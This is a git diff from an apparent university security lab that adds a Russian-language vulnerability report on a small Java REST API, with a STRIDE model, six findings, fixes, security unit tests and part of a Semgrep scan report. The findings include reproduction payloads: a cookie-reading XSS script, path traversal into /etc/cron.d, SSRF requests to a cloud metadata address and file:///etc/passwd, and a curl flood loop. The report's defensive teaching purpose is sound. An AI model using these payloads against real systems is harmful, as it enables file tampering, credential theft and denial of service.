diff --git a/README.md b/README.md
index 18eee9a..21b4d8d 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+[![Review Assignment Due Date](https://classroom.github.com/assets/deadline-readme-button-22041afd0340ce965d47ae6ef1cefeee28c7c493a6346c4f15d667ab976d596c.svg)](https://classroom.github.com/a/NSTTkgmb)
 # Лабораторная работа №4 — Анализ и тестирование безопасности веб-приложения
 
 ## Цель
diff --git a/REPORT.md b/REPORT.md
new file mode 100644
index 0000000..a599e45
--- /dev/null
+++ b/REPORT.md
@@ -0,0 +1,389 @@
+# Отчёт по безопасности — UserAnalytics REST API
+
+## Этап 1 — Asset Inventory (инвентаризация активов)
+
+| Актив | Тип | Ценность | Примечание |
+|-------|-----|----------|------------|
+| Данные пользователей (userId, userName) | Данные | Высокая | Персональные данные пользователей; утечка может привести к нарушению приватности и использованию в атаках социальной инженерии |
+| Данные о сессиях (время входа/выхода) | Данные | Средняя | Содержат поведенческую информацию о пользователях; могут быть использованы для профилирования активности |
+| Файловая система сервера | Инфраструктура | Критическая | Через Path Traversal возможна запись произвольных файлов, что может привести к RCE (например, перезапись cron-задач или конфигурации) |
+| Внутренняя сеть / метаданные окружения | Инфраструктура | Критическая | Через SSRF возможен доступ к внутренним сервисам (metadata-сервер облака, базы данных, админ-панели), что может привести к полной компрометации инфраструктуры |
+
+Наиболее критичны файловая система и внутренняя сеть, поскольку их компрометация приводит к контролю над всем сервером и инфраструктурой, а не только к утечке данных приложения.
+
+---
+
+## Этап 2 — Threat Modeling (STRIDE)
+
+| Категория угрозы | Расшифровка | Применимо? | Источник угрозы | Поверхность атаки                                                                                                               | Потенциальный ущерб                                                                                                                        |
+|------------------|-------------|------------|-----------------|---------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------|
+| **S**poofing | Подмена идентификации | Да | Любой внешний пользователь | Все эндпоинты, так как нет аутентификации, userId передаётся как query-параметр                                                 | Атакующий может действовать от имени любого пользователя: регистрировать, записывать сессии, просматривать данные                          |
+| **T**ampering | Модификация данных | Да | Любой внешний пользователь | POST `/register`, POST `/recordSession`, GET `/exportReport`                                                                    | Перезапись файлов на сервере через Path Traversal в `/exportReport`; запись произвольных сессий любому пользователю через `/recordSession` |
+| **R**epudiation | Отказ от авторства | Да | Любой пользователь системы | Все эндпоинты — нет логирования и аудита действий                                                                               | Невозможно доказать, кто именно выполнил действие; нет audit trail                                                                         |
+| **I**nformation Disclosure | Утечка данных | Да | Любой внешний пользователь | GET `/userProfile` (XSS, кража cookies), POST `/notify` (сканирование внутренней сети), `/recordSession` (stack trace в ответе) | Кража сессионных данных через XSS, доступ к внутренним сервисам, утечка внутренней структуры через сообщения об ошибках                    |
+| **D**enial of Service | Отказ в обслуживании | Да | Любой внешний пользователь | Все эндпоинты — нет rate limiting; POST `/notify` — можно заставить сервер делать запросы к медленным серверам                  | Исчерпание ресурсов сервера массовыми запросами; блокировка потоков через медленные webhook-запросы                                        |
+| **E**levation of Privilege | Повышение привилегий | Да | Любой внешний пользователь | GET `/exportReport` (Path Traversal, запись в системные файлы), POST `/notify` (доступ к внутренним сервисам)            | Запись произвольных файлов на сервере может привести к RCE; SSRF может дать доступ к метаданным, токенам и секретам                        |
+
+---
+
+## Этап 3 — Ручное тестирование и Этап 5 — Карточки уязвимостей
+
+---
+
+### Finding 1 - XSS через userName
+
+| Поле | Значение                                                           |
+|------|--------------------------------------------------------------------|
+| **Компонент** | GET `/userProfile` (`UserAnalyticsController`)                     |
+| **Тип** | Reflected XSS (stored)                      |
+| **CWE** | CWE-79 - Improper Neutralization of Input During Web Page Generation |
+| **CVSS v3.1** | `6.1 MEDIUM (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)`                 |
+| **Статус** | Confirmed (ручное тестирование)                     |
+
+**Описание:**
+> Эндпоинт `/userProfile` возвращает HTML-страницу, в которую значение `userName` подставляется без экранирования. Атакующий регистрирует пользователя с вредоносным именем через `/register`, после чего при открытии `/userProfile?userId=...` браузер жертвы исполняет произвольный JavaScript
+
+**Шаги воспроизведения:**
+```
+1. Зарегистрировать пользователя с XSS:
+   POST http://localhost:7000/register?userId=user1&userName=<script>alert(document.cookie)</script>
+
+2. Открыть профиль в браузере:
+   GET http://localhost:7000/userProfile?userId=user1
+
+3. Ожидаемый результат: имя отображается как текст, спецсимволы экранированы
+   Фактический результат: браузер исполняет JavaScript-код, появляется alert с cookie
+```
+
+**Влияние:**
+> Атакующий может украсть сессионные cookie, выполнить действия от имени жертвы, перенаправить на фишинговый сайт
+
+**Рекомендации по исправлению:**
+> - Экранировать все пользовательские данные перед вставкой в HTML (использовать, например, `StringEscapeUtils.escapeHtml4()` из Apache Commons Text)
+> - Выполнять санитизацию HTML
+
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] XSS в userName должен быть экранирован в /userProfile")
+void xssPayloadShouldBeEscaped() throws Exception {
+    String payload = "<script>alert(1)</script>";
+    send("POST", "/register?userId=user1&userName=" + enc(payload));
+    HttpResponse<String> response = send("GET", "/userProfile?userId=user1");
+    assertFalse(response.body().contains("<script>"),
+        "Тег <script> не должен присутствовать в ответе в исходном виде");
+    assertTrue(response.body().contains("&lt;script&gt;"),
+        "Спецсимволы должны быть экранированы");
+}
+```
+
+---
+
+### Finding 2 - Path Traversal в exportReport
+
+| Поле | Значение                                                             |
+|------|----------------------------------------------------------------------|
+| **Компонент** | GET `/exportReport` (`UserAnalyticsController.java`)                 |
+| **Тип** | Path Traversal / Arbitrary File Write                                |
+| **CWE** | CWE-22 - Improper Limitation of a Pathname to a Restricted Directory |
+| **CVSS v3.1** | `9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)`                 |
+| **Статус** | Confirmed (ручное тестирование)                       |
+
+**Описание:**
+> Эндпоинт `/exportReport` принимает параметр `filename` и напрямую конкатенирует его с базовой директорией `/tmp/reports/`. Параметр не проходит валидацию и атакующий может использовать `../` для выхода за пределы директории, записи файла в произвольное место файловой системы.
+
+**Шаги воспроизведения:**
+```
+1. Зарегистрировать пользователя:
+   POST http://localhost:7000/register?userId=user1&userName=Test
+
+2. Выполнить запрос с path traversal:
+   GET http://localhost:7000/exportReport?userId=user1&filename=../../../tmp/evil.txt
+
+3. Ожидаемый результат: сервер отклоняет запрос с filename, содержащим ".."
+   Фактический результат: файл записывается в /tmp/evil.txt (вне директории reports)
+
+4. Более опасный вариант с cron:
+   GET http://localhost:7000/exportReport?userId=user1&filename=../../../etc/cron.d/malicious
+```
+
+**Влияние:**
+> Атакующий может записать произвольный файл в любое место файловой системы, куда у процесса есть права записи. Это может привести к:
+> - перезаписи конфигурационных файлов
+> - записи cron-задач для RCE (Remote Code Execution)
+> - перезаписи authorized_keys для SSH-доступа
+> - перезаписи файлов приложения, включая классы
+
+**Рекомендации по исправлению:**
+> - Валидировать `filename`: запретить символы `..`, `/`, `\`
+> - Использовать `Path.normalize()` и проверять, что результат остаётся внутри `REPORTS_BASE_DIR`
+> - Генерировать имя файла на сервере (UUID), не принимать его от клиента
+> - Пример проверки:
+> ```java
+> Path basePath = Paths.get(REPORTS_BASE_DIR).toAbsolutePath().normalize();
+> Path filePath = basePath.resolve(filename).normalize();
+> if (!filePath.startsWith(basePath)) {
+>     ctx.status(400).result("Invalid filename");
+>     return;
+> }
+> ```
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Path traversal в filename не должен допускаться")
+void pathTraversalShouldBeRejected() throws Exception {
+    send("POST", "/register?userId=pt_test&userName=Test");
+    HttpResponse<String> response = send("GET",
+        "/exportReport?userId=pt_test&filename=../../../tmp/evil.txt");
+    assertNotEquals(200, response.statusCode());
+    assertTrue(response.statusCode() == 400 || response.statusCode() == 403);
+}
+```
+
+---
+
+### Finding #3 - Server-Side Request Forgery (SSRF) в notify
+
+| Поле | Значение                                             |
+|------|------------------------------------------------------|
+| **Компонент** | POST `/notify` (`UserAnalyticsController.java`)      |
+| **Тип** | Server-Side Request Forgery (SSRF)                   |
+| **CWE** | CWE-918 - Server-Side Request Forgery                |
+| **CVSS v3.1** | `9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)` |
+| **Статус** | Confirmed (ручное тестирование)       |
+
+**Описание:**
+> Эндпоинт `/notify` принимает параметр `callbackUrl` и выполняет HTTP-запрос к произвольному URL без валидации. Атакующий может заставить сервер обращаться к внутренним сервисам или сканировать внутреннюю сеть
+
+**Шаги воспроизведения:**
+```
+1. Зарегистрировать пользователя:
+   POST http://localhost:7000/register?userId=user1&userName=Test
+
+2. Запросить внутренний ресурс через SSRF:
+   POST http://localhost:7000/notify?userId=user1&callbackUrl=http://169.254.169.254/latest/meta-data/
+
+3. Ожидаемый результат: сервер отклоняет запросы к внутренним адресам
+   Фактический результат: сервер выполняет запрос и возвращает ответ от внутреннего сервиса
+
+4. Сканирование внутренней сети:
+   POST http://localhost:7000/notify?userId=user1&callbackUrl=http://192.168.1.1:8080/admin
+
+5. Чтение локальных файлов (file:// protocol):
+   POST http://localhost:7000/notify?userId=user1&callbackUrl=file:///etc/passwd
+```
+
+**Влияние:**
+> - Доступ к метаданным, получение credentials
+> - Сканирование внутренней сети, обнаружение внутренних сервисов
+> - Доступ к внутренним API без аутентификации
+> - Чтение локальных файлов через `file://` протокол
+> - Возможность DDoS внутренних или внешних сервисов от имени сервера
+
+**Рекомендации по исправлению:**
+> - Валидировать URL: разрешать только HTTP/HTTPS протоколы
+> - Создать allowlist разрешённых доменов/IP для callback
+> - Блокировать приватные IP-диапазоны (например, 127.0.0.0/8)
+> - Блокировать `file://`, `ftp://`, `gopher://` и другие небезопасные протоколы
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] SSRF - запрос к внутренним адресам должен быть заблокирован")
+void ssrfToInternalAddressesShouldBeBlocked() throws Exception {
+    send("POST", "/register?userId=ssrf_test&userName=Test");
+
+    // Попытка обращения к метаданным
+    HttpResponse<String> response = send("POST",
+        "/notify?userId=ssrf_test&callbackUrl=" + "http://169.254.169.254/latest/meta-data/");
+    assertNotEquals(200, response.statusCode());
+
+    // Попытка использования file:// протокола
+    HttpResponse<String> fileResponse = send("POST",
+        "/notify?userId=ssrf_test&callbackUrl=" + "file:///etc/passwd");
+    assertNotEquals(200, fileResponse.statusCode());
+}
+```
+
+---
+
+### Finding #4 - Information Disclosure через сообщения об ошибках
+
+| Поле | Значение                                                                                                                |
+|------|-------------------------------------------------------------------------------------------------------------------------|
+| **Компонент** | POST `/recordSession` (`UserAnalyticsController.java`), GET `/exportReport`                                |
+| **Тип** | Information Disclosure via Error Messages                                                                               |
+| **CWE** | CWE-209 — Generation of Error Message Containing Sensitive Information |
+| **CVSS v3.1** | `5.3 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)`                                                                      |
+| **Статус** | Confirmed (ручное тестирование и анализ кода)                                                                               |
+
+**Описание:**
+> Несколько эндпоинтов возвращают сообщения исключений (`e.getMessage()`) напрямую в ответе клиенту. Это раскрывает внутреннюю структуру приложения: имена классов, пути файлов, детали стека вызовов. Информация помогает атакующему в разведке для дальнейших атак
+
+**Шаги воспроизведения:**
+```
+1. Отправить некорректные данные в recordSession:
+   POST http://localhost:7000/register?userId=info_test&userName=Test
+   POST http://localhost:7000/recordSession?userId=info_test&loginTime=INVALID&logoutTime=INVALID
+
+2. Ожидаемый результат: общее сообщение "Invalid date format"
+   Фактический результат: "Invalid data: Text 'INVALID' could not be parsed at index 0"
+   (раскрывает использование java.time.LocalDateTime.parse())
+
+3. Аналогично для exportReport при ошибке записи, может раскрыть пути файловой системы
+```
+
+**Влияние:**
+> - Раскрытие внутренней архитектуры (Java, используемые библиотеки, версии)
+> - Раскрытие путей файловой системы сервера
+> - Информация для планирования более целенаправленных атак
+> - Потенциальная утечка конфиденциальных данных через stack traces
+
+**Рекомендации по исправлению:**
+> - Возвращать обобщённые сообщения об ошибках клиенту (`"Invalid date format"`, `"Internal server error"`)
+> - Логировать детали исключений на стороне сервера (через SLF4J / Log4j)
+> - Никогда не включать `e.getMessage()` или `e.getStackTrace()` в HTTP-ответ
+> - Использовать глобальный обработчик ошибок в Javalin
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Сообщения об ошибках не должны содержать stack trace")
+void errorMessagesShouldNotLeakInternals() throws Exception {
+    send("POST", "/register?userId=err_test&userName=Test");
+    HttpResponse<String> response = send("POST",
+        "/recordSession?userId=err_test&loginTime=INVALID&logoutTime=INVALID");
+    String body = response.body();
+    assertFalse(body.contains("java."), "Ответ не должен содержать имена Java-классов");
+    assertFalse(body.contains("at ru.itmo"), "Ответ не должен содержать stack trace");
+    assertFalse(body.contains("could not be parsed"),
+        "Ответ не должен раскрывать детали парсинга");
+}
+```
+
+---
+
+### Finding #5 - Отсутствие аутентификации и авторизации
+
+| Поле | Значение                                               |
+|------|--------------------------------------------------------|
+| **Компонент** | Все эндпоинты (`UserAnalyticsController.java`)         |
+| **Тип** | Missing Authentication / Authorization                 |
+| **CWE** | CWE-306 - Missing Authentication for Critical Function |
+| **CVSS v3.1** | `7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)`       |
+| **Статус** | Confirmed (ручное тестирование и анализ кода)           |
+
+**Описание:**
+> Ни один эндпоинт не требует аутентификации. Любой пользователь может регистрировать учётные записи, записывать сессии от имени любого пользователя, просматривать данные активности и экспортировать отчёты. Идентификация пользователя основана исключительно на `userId`, передаваемом как query-параметр, который легко подобрать или перебрать
+
+**Шаги воспроизведения:**
+```
+1. Просмотреть данные любого пользователя (без авторизации):
+   GET http://localhost:7000/totalActivity?userId=admin
+   GET http://localhost:7000/userProfile?userId=admin
+
+2. Записать ложную сессию от имени другого пользователя:
+   POST http://localhost:7000/recordSession?userId=victim&loginTime=2025-01-01T00:00&logoutTime=2025-01-01T23:59
+
+3. Экспортировать данные любого пользователя:
+   GET http://localhost:7000/exportReport?userId=victim&filename=stolen_report.txt
+
+4. Ожидаемый результат: запрос отклоняется (401 Unauthorized)
+   Фактический результат: запрос выполняется успешно
+```
+
+**Влияние:**
+> - Просмотр персональных данных и данных активности любого пользователя
+> - Модификация данных от имени других пользователей
+> - Массовая регистрация поддельных аккаунтов
+> - Полное отсутствие разграничения доступа
+
+**Рекомендации по исправлению:**
+> - Добавить механизм аутентификации (JWT, API-ключи, OAuth2)
+> - Реализовать авторизацию, чтобы пользователь мог работать только со своими данными
+> - Использовать Javalin `before()` handler для проверки аутентификации
+> - Разделить роли (пользователь, администратор)
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Неаутентифицированный запрос должен вернуть 401")
+void unauthenticatedRequestShouldReturn401() throws Exception {
+    HttpResponse<String> response = send("GET", "/totalActivity?userId=someone");
+    assertEquals(401, response.statusCode());
+}
+```
+
+---
+
+### Finding #6 - Отсутствие Rate Limiting
+
+| Поле | Значение                                                                                                         |
+|------|------------------------------------------------------------------------------------------------------------------|
+| **Компонент** | Все эндпоинты (`UserAnalyticsController.java`)                                                                   |
+| **Тип** | Uncontrolled Resource Consumption                                                                                |
+| **CWE** | CWE-770 - Allocation of Resources Without Limits or Throttling |
+| **CVSS v3.1** | `7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)`                                                                 |
+| **Статус** | Confirmed (ручное тестирование и анализ кода)                                                                     |
+
+**Описание:**
+> Приложение не ограничивает количество запросов от одного клиента. Это делает возможной DoS-атаку: отправка большого числа запросов может исчерпать ресурсы сервера. Особенно опасен эндпоинт `/notify`, который выполняет исходящие HTTP-запросы, поскольку массовые запросы могут заблокировать все потоки сервера
+
+**Шаги воспроизведения:**
+```
+1. Массовая отправка запросов:
+   for i in $(seq 1 10000); do
+     curl -s -X POST "http://localhost:7000/register?userId=flood_$i&userName=Bot" &
+   done
+
+2. Блокировка потоков через медленный webhook:
+   POST http://localhost:7000/notify?userId=user1&callbackUrl=http://slowserver.example.com/delay/30
+
+3. Ожидаемый результат: сервер ограничивает частоту запросов (429 Too Many Requests)
+   Фактический результат: все запросы принимаются
+```
+
+**Влияние:**
+> - Отказ в обслуживании для легитимных пользователей
+> - Блокировка потоков через медленные webhook-вызовы
+> - Возможность использования сервера как инструмента DDoS через `/notify`
+
+**Рекомендации по исправлению:**
+> - Добавить rate limiting middleware (например, Javalin plugin или bucket4j)
+> - Ограничить количество запросов на IP
+> - Для `/notify` ограничить количество webhook-вызовов, использовать асинхронную очередь
+> - Ограничить максимальное количество зарегистрированных пользователей
+> - Установить таймауты на исходящие HTTP-соединения (уже частично сделано (3 секунды))
+
+**Security Test Case:**
+```java
+@Test
+@DisplayName("[SECURITY] Массовые запросы должны быть ограничены rate limiter-ом")
+void rateLimitingShouldBeEnforced() throws Exception {
+    int requestCount = 200;
+    int rejectedCount = 0;
+    for (int i = 0; i < requestCount; i++) {
+        HttpResponse<String> response = send("POST",
+            "/register?userId=flood_" + i + "&userName=Bot");
+        if (response.statusCode() == 429) {
+            rejectedCount++;
+        }
+    }
+    assertTrue(rejectedCount > 0);
+}
+```
+
+---
+
+## Сводная таблица уязвимостей
+
+| # | Уязвимость | CWE | CVSS | Severity | Эндпоинт |
+|---|-----------|-----|------|----------|----------|
+| 1 | Stored XSS | CWE-79 | 6.1 | Medium | `/userProfile` |
+| 2 | Path Traversal | CWE-22 | 9.1 | Critical | `/exportReport` |
+| 3 | SSRF | CWE-918 | 9.1 | Critical | `/notify` |
+| 4 | Information Disclosure | CWE-209 | 5.3 | Medium | `/recordSession`, `/exportReport` |
+| 5 | Missing Authentication | CWE-306 | 7.5 | High | Все эндпоинты |
+| 6 | No Rate Limiting | CWE-770 | 7.5 | High | Все эндпоинты |
diff --git a/semgrep-report.json b/semgrep-report.json
new file mode 100644
index 0000000..426d6d7
--- /dev/null
+++ b/semgrep-report.json
@@ -0,0 +1,1747 @@
+{
+    "version": "2.1.0",
+    "runs": [
+        {
+            "invocations": [
+                {
+                    "executionSuccessful": true,
+                    "toolExecutionNotifications": []
+                }
+            ],
+            "results": [],
+            "tool": {
+                "driver": {
+                    "name": "Semgrep OSS",
+                    "rules": [
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."
+                            },
+                            "help": {
+                                "markdown": "Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n",
+                                "text": "Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string",
+                            "id": "java.aws-lambda.security.tainted-sql-string.tainted-sql-string",
+                            "name": "java.aws-lambda.security.tainted-sql-string.tainted-sql-string",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."
+                            },
+                            "help": {
+                                "markdown": "Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli",
+                            "id": "java.aws-lambda.security.tainted-sqli.tainted-sqli",
+                            "name": "java.aws-lambda.security.tainted-sqli.tainted-sqli",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."
+                            },
+                            "help": {
+                                "markdown": "Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n",
+                                "text": "Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify",
+                            "id": "java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify",
+                            "name": "java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-345: Insufficient Verification of Data Authenticity",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A08:2021 - Software and Data Integrity Failures",
+                                    "OWASP-A08:2025 - Software or Data Integrity Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."
+                            },
+                            "help": {
+                                "markdown": "A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n",
+                                "text": "A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret",
+                            "id": "java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret",
+                            "name": "java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-798: Use of Hard-coded Credentials",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A07:2021 - Identification and Authentication Failures",
+                                    "OWASP-A07:2025 - Authentication Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."
+                            },
+                            "help": {
+                                "markdown": "Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg",
+                            "id": "java.java-jwt.security.jwt-none-alg.java-jwt-none-alg",
+                            "name": "java.java-jwt.security.jwt-none-alg.java-jwt-none-alg",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."
+                            },
+                            "help": {
+                                "markdown": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n",
+                                "text": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal",
+                            "id": "java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal",
+                            "name": "java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
